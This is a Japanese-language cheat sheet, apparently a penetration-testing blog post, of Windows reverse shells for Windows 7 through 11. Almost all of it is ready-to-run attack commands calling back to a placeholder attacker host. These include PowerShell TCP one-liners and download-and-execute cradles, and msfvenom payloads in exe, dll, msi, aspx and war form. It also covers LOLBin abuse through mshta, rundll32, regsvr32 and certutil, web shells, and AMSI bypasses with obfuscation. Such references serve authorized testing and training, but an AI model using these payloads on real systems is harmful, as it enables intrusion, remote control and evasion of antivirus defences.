Post

Windowsリバースシェル チートシート — Win7〜Win11 x86/x64対応

Windowsペネトレーションテストのための完全なリバースシェルコマンドリファレンス。PowerShell、cmd.exe、certutil、mshta、rundll32、msfvenomペイロードなどをOSバージョン別・アーキテクチャ別(x86/x64)に整理し、互換性マトリックス付きで解説。

Windowsリバースシェル チートシート — Win7〜Win11 x86/x64対応

TL;DR

WindowsターゲットでRCEを確立した後、次のステップはインタラクティブなリバースシェルへのアップグレードである。本チートシートでは、レガシーWin7 x86からモダンWin11 x64まで、Windowsにおける実用的なリバースシェル手法をすべて提供する。手法・アーキテクチャ・OS互換性別に整理。

クイック選択ガイド:

状況 推奨手法
PowerShell利用可能(Win7 SP1+) PowerShell TCP ワンライナー
PowerShellブロック / 制約あり certutil + コンパイル済みnc.exe
Webシェル / ブラインドRCEのみ mshta or rundll32 ワンライナー
アウトバウンドTCP不可 HTTP/S経由のPowerShellリバースシェル
AV/EDRアクティブ msfvenom暗号化ペイロード or カスタムC#
最新Win10/11 + Defender AMSIバイパス + 難読化PowerShell

リスナーのセットアップ(攻撃者側)

リバースシェルをトリガーする前に必ずリスナーを起動する。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基本的なnetcatリスナー
nc -lvnp 4444

# rlwrapでreadlineサポート(矢印キー、履歴)
rlwrap -cAr nc -lvnp 4444

# Metasploit multi/handler(msfvenomペイロード用)
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST <KALI_IP>; set LPORT 4444; run"

# Metasploit meterpreterハンドラー
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <KALI_IP>; set LPORT 4444; run"

# socat(暗号化TLSリスナー)
socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

OS・ツール互換性マトリックス

Windowsバージョン別の組み込みツール

ツール / 機能 Win7 SP1 Win8/8.1 Win10 (1507–1809) Win10 (1903+) Win11 Arch
cmd.exe 可 可 可 可 可 両方
PowerShell 2.0 可 可 非推奨 非推奨 非推奨 両方
PowerShell 5.1 更新要 可 可 可 可 両方
certutil.exe 可 可 可 可 可 両方
bitsadmin.exe 可 可 可 可 可 両方
mshta.exe 可 可 可 可 可 両方
rundll32.exe 可 可 可 可 可 両方
regsvr32.exe 可 可 可 可 可 両方
curl.exe 不可 不可 不可 可 可 両方
ssh.exe(OpenSSH) 不可 不可 1803+ 可 可 x64
WDAC / AMSI 不可 不可 可 可 可 両方
Constrained Language Mode 不可 稀 一般的 一般的 一般的 両方

非推奨 = 廃止予定だが依然として存在。PowerShell 2.0はDisable-WindowsOptionalFeatureで削除可能。

アーキテクチャに関する注意

アーキテクチャ System32パス PowerShellパス
x86(32ビットOS) C:\Windows\System32\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
x64(64ビットOS、64ビットプロセス) C:\Windows\System32\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
x64(64ビットOS、WoW64経由の32ビットプロセス) C:\Windows\SysWOW64\ C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
x64(32ビットから64ビットにアクセス) C:\Windows\Sysnative\ C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe

OSCPメモ: 64ビットOSで32ビットのWebシェルを持っている場合、64ビットバイナリにアクセスするにはC:\Windows\Sysnative\を使用する。64ビットペイロードの実行や実際のSystem32へのアクセスに必須。


1. PowerShellリバースシェル

1a. 基本TCPリバースシェル(ワンライナー)

互換性: Win7 SP1+(PS 2.0+)、x86/x64

1
powershell -nop -ep bypass -c "$c=New-Object System.Net.Sockets.TCPClient('<KALI_IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+'PS '+(pwd).Path+'> ';$m=([text.encoding]::ASCII).GetBytes($t);$s.Write($m,0,$m.Length);$s.Flush()};$c.Close()"

短縮版(コマンド長制限がある場合):

1
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<KALI_IP>',4444);$s=$c.GetStream();$b=New-Object byte[] 65535;while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=([text.encoding]::ASCII).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"

1b. PowerShell Base64エンコード(簡易フィルタ回避)

互換性: Win7 SP1+、x86/x64

攻撃者マシンで生成:

1
2
3
4
# Base64エンコードされたリバースシェルコマンドを生成
REVERSE_SHELL='$c=New-Object System.Net.Sockets.TCPClient("<KALI_IP>",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+"PS "+(pwd).Path+"> ";$m=([text.encoding]::ASCII).GetBytes($t);$s.Write($m,0,$m.Length);$s.Flush()};$c.Close()'

echo -n "$REVERSE_SHELL" | iconv -t UTF-16LE | base64 -w 0

ターゲットで実行:

powershell -nop -ep bypass -enc <BASE64_STRING>

1c. PowerShell ダウンロード実行(クレードル)

互換性: Win7 SP1+、x86/x64

攻撃者側でshell.ps1をホスト:

1
2
3
4
5
6
7
8
9
10
11
12
13
# shell.ps1(攻撃者のWebサーバー上)
$c = New-Object System.Net.Sockets.TCPClient('<KALI_IP>',4444)
$s = $c.GetStream()
[byte[]]$b = 0..65535|%{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object System.Text.ASCIIEncoding).GetString($b, 0, $i)
    $r = (iex $d 2>&1 | Out-String)
    $t = $r + 'PS ' + (pwd).Path + '> '
    $m = ([text.encoding]::ASCII).GetBytes($t)
    $s.Write($m, 0, $m.Length)
    $s.Flush()
}
$c.Close()

ダウンロードクレードル(ターゲットで実行):

1
2
3
4
5
6
7
8
# 方法1:IEX + WebClient(最も一般的)
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

# 方法2:IEX + Invoke-WebRequest(PS 3.0+ / Win8+)
powershell -nop -ep bypass -c "IEX(Invoke-WebRequest -Uri 'http://<KALI_IP>/shell.ps1' -UseBasicParsing).Content"

# 方法3:IEX + curlエイリアス(Win10 1903+ネイティブcurl)
powershell -nop -ep bypass -c "IEX(curl http://<KALI_IP>/shell.ps1 -UseBasicParsing).Content"

1d. PowerCat経由

互換性: Win7 SP1+、x86/x64

1
2
# powercatをダウンロードして実行
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/powercat.ps1'); powercat -c <KALI_IP> -p 4444 -e cmd.exe"

1e. Nishang Invoke-PowerShellTcp

互換性: Win7 SP1+、x86/x64

1
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress <KALI_IP> -Port 4444"

1f. ConPtyシェル(完全インタラクティブ)

互換性: Win10 1809+、x64

適切なTTYサポートによる完全インタラクティブシェルを提供:

1
2
IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/Invoke-ConPtyShell.ps1')
Invoke-ConPtyShell -RemoteIp <KALI_IP> -RemotePort 4444 -Rows 24 -Cols 80

リスナー(攻撃者側 — 適切なサイズ調整にsttyを使用):

1
stty raw -echo; (stty size; cat) | nc -lvnp 4444

2. コンパイル済みバイナリ リバースシェル

2a. Netcat(nc.exe / ncat.exe)

互換性: 全Windowsバージョン、x86/x64(コンパイル済みバイナリに依存)

:: 従来のnetcat
nc.exe <KALI_IP> 4444 -e cmd.exe
nc.exe <KALI_IP> 4444 -e powershell.exe

:: ncat(Nmapのnetcat — SSL対応)
ncat.exe <KALI_IP> 4444 -e cmd.exe --ssl

nc.exeをターゲットに転送:

:: certutil(Win7+)
certutil -urlcache -split -f http://<KALI_IP>/nc.exe C:\Temp\nc.exe

:: bitsadmin(Win7+)
bitsadmin /transfer job http://<KALI_IP>/nc.exe C:\Temp\nc.exe

:: PowerShell(Win7 SP1+)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<KALI_IP>/nc.exe','C:\Temp\nc.exe')"

:: curl(Win10 1903+)
curl http://<KALI_IP>/nc.exe -o C:\Temp\nc.exe

:: SMB共有(ダウンロード不要)
\\<KALI_IP>\share\nc.exe <KALI_IP> 4444 -e cmd.exe

Kali上のコンパイル済みnc.exeの場所:

1
2
3
4
5
6
# x86
locate nc.exe | grep win
/usr/share/windows-resources/binaries/nc.exe          # x86(32ビット)

# x64 — コンパイルまたはnmapのncatを使用
apt install ncat

2b. msfvenomペイロード

アーキテクチャ固有のペイロードを生成する最も信頼性の高い方法。

Staged vs Stageless

タイプ フラグ サイズ 互換性 用途
Staged shell/reverse_tcp 約3 KB Metasploitハンドラー必須 ペイロードが小さい、バッファ制限時に有効
Stageless shell_reverse_tcp 約70 KB ncリスナーで動作 大きいが自己完結型

x86(32ビット)ペイロード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# cmd.exeリバースシェル(stageless)— ncリスナーで動作
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell32.exe

# cmd.exeリバースシェル(staged)— Metasploitハンドラー必須
msfvenom -p windows/shell/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell32_staged.exe

# meterpreter(staged)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o met32.exe

# DLLペイロード(DLLインジェクション / ハイジャック用)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f dll -o payload32.dll

# MSIペイロード(AlwaysInstallElevated用)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f msi -o shell32.msi

# HTAペイロード
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f hta-psh -o shell.hta

# PowerShellコマンド
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f psh-cmd -o shell.bat

# ASP Webシェル
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f asp -o shell.asp

# ASPX Webシェル
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f aspx -o shell.aspx

# WAR(Tomcat)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f war -o shell.war

x64(64ビット)ペイロード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# cmd.exeリバースシェル(stageless)— ncリスナーで動作
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell64.exe

# cmd.exeリバースシェル(staged)— Metasploitハンドラー必須
msfvenom -p windows/x64/shell/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell64_staged.exe

# meterpreter(staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o met64.exe

# DLLペイロード
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f dll -o payload64.dll

# MSIペイロード
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f msi -o shell64.msi

# PowerShellスクリプト(Base64エンコード)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f psh -o shell64.ps1

# EXE-Service(サービスエクスプロイト用 — 適切なServiceMain)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe-service -o svc64.exe

# 生シェルコード(インジェクション用)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f raw -o sc64.bin

エンコーダー / 回避オプション

1
2
3
4
5
6
7
8
# x86 shikata_ga_naiエンコーダー(基本的なAV回避)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded32.exe

# x64 XORエンコーダー
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -e x64/xor_dynamic -f exe -o encoded64.exe

# ペイロード暗号化(エンコードより効果的)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 --encrypt aes256 --encrypt-key <KEY> -f exe -o encrypted64.exe

3. Windowsネイティブバイナリの悪用(LOLBins)

組み込みWindows バイナリを使用 — 初期トリガーのファイル転送不要。

3a. mshta.exe(Microsoft HTMLアプリケーションホスト)

互換性: Win7+、x86/x64

:: ワンライナー — HTAが攻撃者からペイロードをダウンロードして実行
mshta http://<KALI_IP>/shell.hta

:: インラインVBScriptリバースシェル
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -ep bypass -c """"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"""" "", 0:close")

HTAペイロードのホスト(攻撃者側):

1
2
3
4
5
# msfvenomで生成
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f hta-psh -o shell.hta

# 配信
python3 -m http.server 80

3b. rundll32.exe

互換性: Win7+、x86/x64

:: rundll32経由でJavaScriptを実行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')")

:: SMB共有からDLLをロード
rundll32.exe \\<KALI_IP>\share\payload.dll,EntryPoint

3c. regsvr32.exe(Squiblydoo)

互換性: Win7+、x86/x64 — AppLockerデフォルトルールをバイパス

:: リモートサーバーからSCTファイルをダウンロードして実行
regsvr32 /s /n /u /i:http://<KALI_IP>/shell.sct scrobj.dll

SCTペイロード(攻撃者上のshell.sct):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?XML version="1.0"?>
<scriptlet>
<registration
    description="Pentest"
    progid="Pentest"
    version="1.00"
    classid="{AAAA-BBBB-CCCC-DDDD}"
    remotable="true">
</registration>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')");
]]>
</script>
</scriptlet>

3d. certutil.exe(ダウンロード + デコード)

互換性: Win7+、x86/x64

:: ペイロードをダウンロード
certutil -urlcache -split -f http://<KALI_IP>/shell.exe C:\Temp\shell.exe

:: 実行
C:\Temp\shell.exe

:: 代替:Base64ペイロードをデコード
certutil -decode encoded.txt C:\Temp\shell.exe

:: 複合:ダウンロード → デコード → 実行
certutil -urlcache -split -f http://<KALI_IP>/shell.b64 C:\Temp\shell.b64 && certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe && C:\Temp\shell.exe

3e. bitsadmin.exe

互換性: Win7+、x86/x64

:: ファイルダウンロード
bitsadmin /transfer job /download /priority high http://<KALI_IP>/shell.exe C:\Temp\shell.exe

:: 実行
C:\Temp\shell.exe

3f. cscript / wscript(VBS/JS)

互換性: Win7+、x86/x64

VBScriptリバースシェル(shell.vbs):

Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')""", 0, False
cscript C:\Temp\shell.vbs
wscript C:\Temp\shell.vbs

JScriptリバースシェル(shell.js):

1
2
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')\"", 0, false);
cscript C:\Temp\shell.js
wscript C:\Temp\shell.js

3g. MSIEXEC

互換性: Win7+、x86/x64

:: リモートURLからMSIを実行
msiexec /quiet /qn /i http://<KALI_IP>/shell.msi

:: ローカルパスからMSIを実行
msiexec /quiet /qn /i C:\Temp\shell.msi

4. Webベースリバースシェル

4a. ASP / ASPX(IIS)

ASP(Classic — x86):

<%
Set objShell = Server.CreateObject("WScript.Shell")
Set cmd = objShell.Exec("cmd /c powershell -nop -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')""")
%>

ASPX(.NET — x86/x64):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')\"";
p.StartInfo.UseShellExecute = false;
p.Start();
%>

4b. PHP(XAMPP / カスタム)

1
<?php system("powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')\""); ?>

4c. JSP(Tomcat)

1
2
3
4
<%
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("cmd /c powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')");
%>

5. SSHリバーストンネル(Win10 1803+)

互換性: Win10 1803+、x64(OpenSSHクライアント組み込み)

:: リバースSSHトンネル — 攻撃者のポート4444を開き、ターゲットのcmdに転送
ssh -R 4444:127.0.0.1:445 attacker@<KALI_IP>

:: サービスを公開するリモートポートフォワード
ssh -N -R 9999:127.0.0.1:3389 attacker@<KALI_IP>

6. AMSIバイパス + リバースシェル(Win10/11)

AMSI(Antimalware Scan Interface)が有効なモダンWindowsでは、PowerShellコマンドは実行前にスキャンされる。まずAMSIをバイパスし、その後リバースシェルを実行する。

一般的なAMSIバイパス

1
2
3
4
5
6
7
8
# リフレクションバイパス(頻繁にパッチ適用 — 必要に応じて難読化)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 難読化バリアント
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils');$f=$a.GetField('am'+'siInitFailed','NonPublic,Static');$f.SetValue($null,$true)

# PowerShell 2.0ダウングレード(AMSIを完全にバイパス — PS 2.0がまだインストールされている場合)
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

複合:AMSIバイパス + リバースシェル

1
powershell -nop -ep bypass -c "$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils');$f=$a.GetField('am'+'siInitFailed','NonPublic,Static');$f.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

7. WoW64 — 32ビットプロセスから64ビットシェルを実行

64ビットOSで32ビットWebアプリケーションをエクスプロイトする場合、WoW64(32ビット)プロセスで実行されている可能性がある。ネイティブ64ビットシェルを取得するには:

:: 32ビットプロセスから、Sysnative経由で64ビットPowerShellにアクセス
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

:: 32ビットプロセスから、64ビットcmd.exeを実行
C:\Windows\Sysnative\cmd.exe /c C:\Temp\shell64.exe

:: 32ビットプロセスから、64ビットnc.exeを実行
C:\Windows\Sysnative\cmd.exe /c C:\Temp\nc64.exe <KALI_IP> 4444 -e cmd.exe

アーキテクチャの検出

:: 現在のプロセスアーキテクチャを確認
echo %PROCESSOR_ARCHITECTURE%
:: AMD64 = 64ビットプロセス
:: x86   = 32ビットプロセス(64ビットOSではWoW64の可能性)

:: OSアーキテクチャを確認
wmic os get osarchitecture
:: 64ビット
1
2
3
# PowerShell — WoW64で実行中か確認
[Environment]::Is64BitProcess    # True = 64ビット、False = 32ビット(WoW64)
[Environment]::Is64BitOperatingSystem  # True = 64ビットOS

8. シェルのアップグレードと安定化

基本的なリバースシェルを取得した後、使いやすさを向上させるためにアップグレードする。

cmd.exe → PowerShell

powershell -nop -ep bypass

基本シェル → インタラクティブシェル(rlwrap)

1
2
# 攻撃者側(シェルをキャッチする前に)
rlwrap -cAr nc -lvnp 4444

ConPty完全インタラクティブシェル(Win10 1809+)

1
2
3
# ターゲット側(初期シェル取得後)
IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/Invoke-ConPtyShell.ps1')
Invoke-ConPtyShell -RemoteIp <KALI_IP> -RemotePort 4445 -Rows 24 -Cols 80
1
2
# 攻撃者側
stty raw -echo; (stty size; cat) | nc -lvnp 4445

ペイロード互換性マトリックス

OS・アーキテクチャ別 msfvenomペイロード

OS Arch Stagelessペイロード Stagedペイロード
Win7 SP1 x86 windows/shell_reverse_tcp windows/shell/reverse_tcp
Win7 SP1 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Win8/8.1 x86 windows/shell_reverse_tcp windows/shell/reverse_tcp
Win8/8.1 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Win10 x86 windows/shell_reverse_tcp windows/shell/reverse_tcp
Win10 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Win11 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2008 R2 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2012/R2 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2016 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2019 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2022 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp

ユースケース別フォーマット

シナリオ msfvenom -fフォーマット 出力
スタンドアロン実行ファイル exe .exeファイル
サービスエクスプロイト(適切なServiceMain) exe-service .exeファイル
DLLインジェクション / ハイジャック dll .dllファイル
AlwaysInstallElevated msi .msiファイル
IIS Classic ASP asp .aspファイル
IIS .NET aspx .aspxファイル
Tomcat war .warファイル
HTA(mshta.exe) hta-psh .htaファイル
PowerShellスクリプト psh .ps1ファイル
PowerShellワンライナー(cmd) psh-cmd .batファイル
生シェルコード raw .binファイル
Cシェルコード配列 c Cソース
C#シェルコード配列 csharp C#ソース
Pythonシェルコード python Pythonソース

判断フローチャート

flowchart TD
    A[RCE確立] --> B{PowerShell実行可能?}
    B -->|可| C{AMSI / Defenderアクティブ?}
    C -->|不可| D[PowerShell TCPワンライナー]
    C -->|可| E{PS 2.0利用可能?}
    E -->|可| F["powershell -version 2 + リバースシェル"]
    E -->|不可| G[AMSIバイパス + 難読化PS]
    B -->|不可 / ブロック| H{ファイルダウンロード可能?}
    H -->|可 certutil/curl| I{ターゲットアーキテクチャ判明?}
    I -->|x86| J[msfvenom windows/shell_reverse_tcp -f exe]
    I -->|x64| K[msfvenom windows/x64/shell_reverse_tcp -f exe]
    I -->|不明| L[x86ペイロードを使用 — WoW64で両方動作]
    H -->|ダウンロード不可| M{mshta利用可能?}
    M -->|可| N["mshta http://attacker/shell.hta"]
    M -->|不可| O{regsvr32利用可能?}
    O -->|可| P[regsvr32 Squiblydoo SCT]
    O -->|不可| Q[rundll32 JavaScript実行]

    D --> R[シェル受信]
    F --> R
    G --> R
    J --> R
    K --> R
    L --> R
    N --> R
    P --> R
    Q --> R

    R --> S{64ビットOSで32ビットプロセス?}
    S -->|可| T["Sysnativeパスで64ビットアクセス"]
    S -->|不可| U["シェルアップグレード: rlwrap / ConPty"]

クイックリファレンス — コピペ用コマンド

攻撃者側セットアップ

1
2
3
4
5
6
7
8
# 1. ペイロードをホストするWebサーバーを起動
python3 -m http.server 80

# 2. SMBサーバーを起動(オプション)
impacket-smbserver share . -smb2support

# 3. リスナーを起動
rlwrap -cAr nc -lvnp 4444

ターゲット側実行(いずれかを選択)

:: PowerShellワンライナー(Win7+)
powershell -nop -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('<KALI_IP>',4444);$s=$c.GetStream();$b=New-Object byte[] 65535;while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=([text.encoding]::ASCII).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"

:: PowerShellダウンロードクレードル(Win7+)
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

:: certutil + nc.exe(Win7+、全アーキテクチャ)
certutil -urlcache -split -f http://<KALI_IP>/nc.exe C:\Temp\nc.exe && C:\Temp\nc.exe <KALI_IP> 4444 -e cmd.exe

:: mshta(Win7+、ファイル書込なし)
mshta http://<KALI_IP>/shell.hta

:: regsvr32 Squiblydoo(Win7+、AppLockerバイパス)
regsvr32 /s /n /u /i:http://<KALI_IP>/shell.sct scrobj.dll

:: msiexec(Win7+、リモートMSI)
msiexec /quiet /qn /i http://<KALI_IP>/shell.msi

:: 32ビットプロセスから64ビット(Sysnative)
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

参考文献

This post is licensed under CC BY 4.0 by the author.